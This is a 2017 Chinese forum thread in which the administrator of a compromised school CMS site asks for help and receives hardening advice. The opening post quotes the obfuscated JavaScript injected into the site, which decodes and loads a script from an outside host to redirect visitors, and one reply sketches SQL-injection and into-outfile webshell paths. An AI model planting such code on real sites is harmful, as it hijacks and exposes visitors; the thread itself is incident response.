这几天网站被黑客盯上了,因为安全做得不好,被黑客攻击了好几次。
var str="cnbtldms-vqhsd '!;rbqhos rqb<[!gsso9..vvv- fnnfkd`crk-bnl.robncd.iptdqx-
ir[!=;.rbqhos=!(:";
var length=str.length;var ba64="";for(i=0;i<length;i++){var
s=str.charCodeAt(i);s++;ba64=ba64+String.fromCharCode(s)}eval(ba64);
翻译后是
document.write ("<script src=\"http://www.googleadsl.com/spcode/jquery.js\"></script>")
导致的结果是打开网站几秒后跳转到一个色情页面,页面太美,不忍直视。但是 ll
查看文件的时候并没有发下这个文件的修改时间异常,可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。
2. 第二次攻击是发生在一周以后,攻击方式和第一次一样。
3. 第三次攻击发生在上周。上周四早上打开一个页面的时候突然发现服务器 500 异常,然后登陆服务器查看站点目录, stat filename
发现站点下有一个目录下的所有文件均在该日凌晨 5:16 分左右被修改。打开内容一看,画面惨不忍睹。
4. 最后一次被攻击是今天,今天网站有奔溃了,我也几乎要奔溃了(下周就要实习了,还有 5 门课程要复习)。连接服务器 df -h
发现磁盘满了,然后 du -h --max-depth=1
发现 /var/log/ 目录占用大量内存,进去查看发现 Apache 的错误日志有 25 个 G,tail
和head
一下,发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。
[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning: mktime(): It
is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date_default_timezone_set() function. In case you used
any of those methods and you are still getting this warning, you most likely
misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no DST'
instead in /xxxxx/cal_day.php on line 163, referer: xxxxxx.com
[Mon Jun 26 18:13:28 2017] [error] [client 202.118.80.240] PHP Warning: date(): It
is not safe to rely on the system's timezone settings. You are *required* to use the
date.timezone setting or the date_default_timezone_set() function. In case you used
any of those methods and you are still getting this warning, you most likely
misspelled the timezone identifier. We selected 'Asia/Chongqing' for 'CST/8.0/no
DST' instead in /xxxx/cal_header.inc.php on line 271, referer:
http://xxxx/cal_search.php
真心希望各位大佬帮忙分析一下这可能是什么漏洞?该怎么进行防范?十分感谢。
写得有点多,小白刚入坑,遇到这种问题各位看笑话了。因为网站是学校的,所以连接不敢随便放在这里,各位见谅。
感谢各位给出的建议,特别感谢@fucker的私下耐心的指导,在此对各位的建议做过简单总结。
magic_quotes_gpc=On
。 1
syncher OP 没有大佬回复好桑心。。
|
2
wsy2220 2017-06-27 00:24:04 +08:00 via Android
服务器重装系统,用最新的发行版,经常更新
|
3
ryd994 2017-06-27 00:44:21 +08:00
什么网站? Wordpress ?
什么服务器? Apache?Nginx? 什么数据库? MySQL ? MongoDB ? 权限控制做了么? ssh 外网不能连不代表内网都是好人 |
4
davidyin 2017-06-27 02:37:06 +08:00
从服务器重装开始做。
|
5
syncher OP @ryd994 CMS 系统
环境是 CentOS 7 + Apache + MySQL + PHP |
7
herozzm 2017-06-27 08:08:14 +08:00 via Android
cms 可能有漏洞,漏洞没堵住,怎么装操作系统都没有用,cns 换成最新版本
|
8
herozzm 2017-06-27 08:08:39 +08:00 via Android
cns=cms
|
9
syncher OP @herozzm 嗯,从攻击来看应该是 XSS 攻击,更新版本是不太可能了。系统庞大而杂,领导让我们把一个系统的多个版本嵌在一起了,还有有很多小系统,小功能是自己开发的,升级不太现实了。
|
10
des 2017-06-27 08:40:00 +08:00 via Android 1
先重装,不要用 root 跑这些东西,www 目录除了可上传目录外只读,可上传目录不让 php 执行。
如果可以的话用 selinux |
12
fucker 2017-06-27 09:31:17 +08:00
不一定是 root 账户失窃。
看你描述,目测一下 php 版本可能是 5.x,没做过滤, gpc=off, mysql 直接用 root 登录的吧 网站目录权限 777 或 775 如果真是 root 账户被盗取,那你肯定没有修改 sshd 监听端口 建议: 备份数据库,重新搭个环境啦。 mysql 每个库对应一个用户,权限也只给对应库的操作权限 php 建议开魔术引号,如果过滤做不好的话,一些危险的函数建议禁用,危险的操作一定要过滤或写死 目录的话按照#10 @des 的建议没有问题 修改 sshd 端口并上传公钥 估计是黑客通过 注入+mysql / 上传 / 命令执行 的问题在你的 web 目录下生成了 webshell,然后你的 web 目录权限又不严谨,就直接挂广告了。可能是某黑产牛吧(瞎猜)。 |
13
fucker 2017-06-27 09:36:08 +08:00
#12 的回复没看到#5 =-= 瞎了,还自己目测了一遍,尴尬。
楼主方便透露一下 cms 和它的版本信息吗 |
14
fucker 2017-06-27 09:37:39 +08:00
:cry: 也没有看到楼主自己说的 mysql 用 root 用户,我真的瞎了,看眼病去。。。
|
15
syncher OP @fucker 先谢谢您。PHP 是 5.4 吧,是 5.x。MySQL 是用 root 登录的,回去我就修改,降低权限。网站根目录权限 700,属于 apache 用户,sshd 端口改了。回头按照您的建议加强防范
|
17
fucker 2017-06-27 09:47:04 +08:00
我又仔细看了一下帖子,现在估计可能是这样的
1.cms 存在注入漏洞,黑客利用注入以及 php 的报错信息,获得了网站的物理路径,然后利用 mysql 的 ` select 0xXXXXX into outfile '/path/to/website' ` 得到了一个 webshell,从而控制网站。(最有可能) 2.cms 存在注入漏洞 /任意文件读取,黑客通过注入 /任意文件读取(万一 CMS 作者是个极品,把帐号放配置文件里了呢)获得管理员帐号密码并扫描出后台,登录,上传 webshell (可能性略低) 3.cms 存在命令执行漏洞,然后`echo >` 或 file_put_contents 得到 webshell (可能性最低) |
20
fucker 2017-06-27 09:50:20 +08:00
@syncher 补一点
前面你说“可笑的是当天的登陆日志被清空了,后来改了 root 账号的密码。”和“发现是我 PHP 没有配置时区报错,错误信息主要来自一个内网 IP。”,估计你们内网已经沦陷了。 |
21
fucker 2017-06-27 09:52:18 +08:00
@syncher 我 telegram https://telegram.me/ioLeon 方便的话联系我,详聊一下你的环境配置,我想复现一下
|
22
msg7086 2017-06-27 09:52:53 +08:00
用 CentOS 我建议你先招一个懂的人。
企业级的软件不是你抄起来就能搞的。 root 权限跑应用?被黑了不重装?你逗我吗。 Web Server 和 PHP 之类的 App stack 用低权限用户跑算是常识吧? 服务器被黑了必须要整个重装并且源代码都全部重置回 Git 这也算是常识吧? |
26
bravecarrot 2017-06-27 10:21:18 +08:00
建议补完漏洞备份重装
把你 openssh 的文件换了 你无论咋改 都可以用后门登录 root |
27
billion 2017-06-27 10:37:02 +08:00
ssh 不要用帐号密码登录,改为 ssh key 登录。
|
28
Thoxvi 2017-06-27 10:40:35 +08:00 via Android
哈哈哈哈哈哈哈哈这个黑客真有意思
|
30
johnlui 2017-06-27 11:58:26 +08:00
中毒了当然要第一时间重装系统啦。。。
|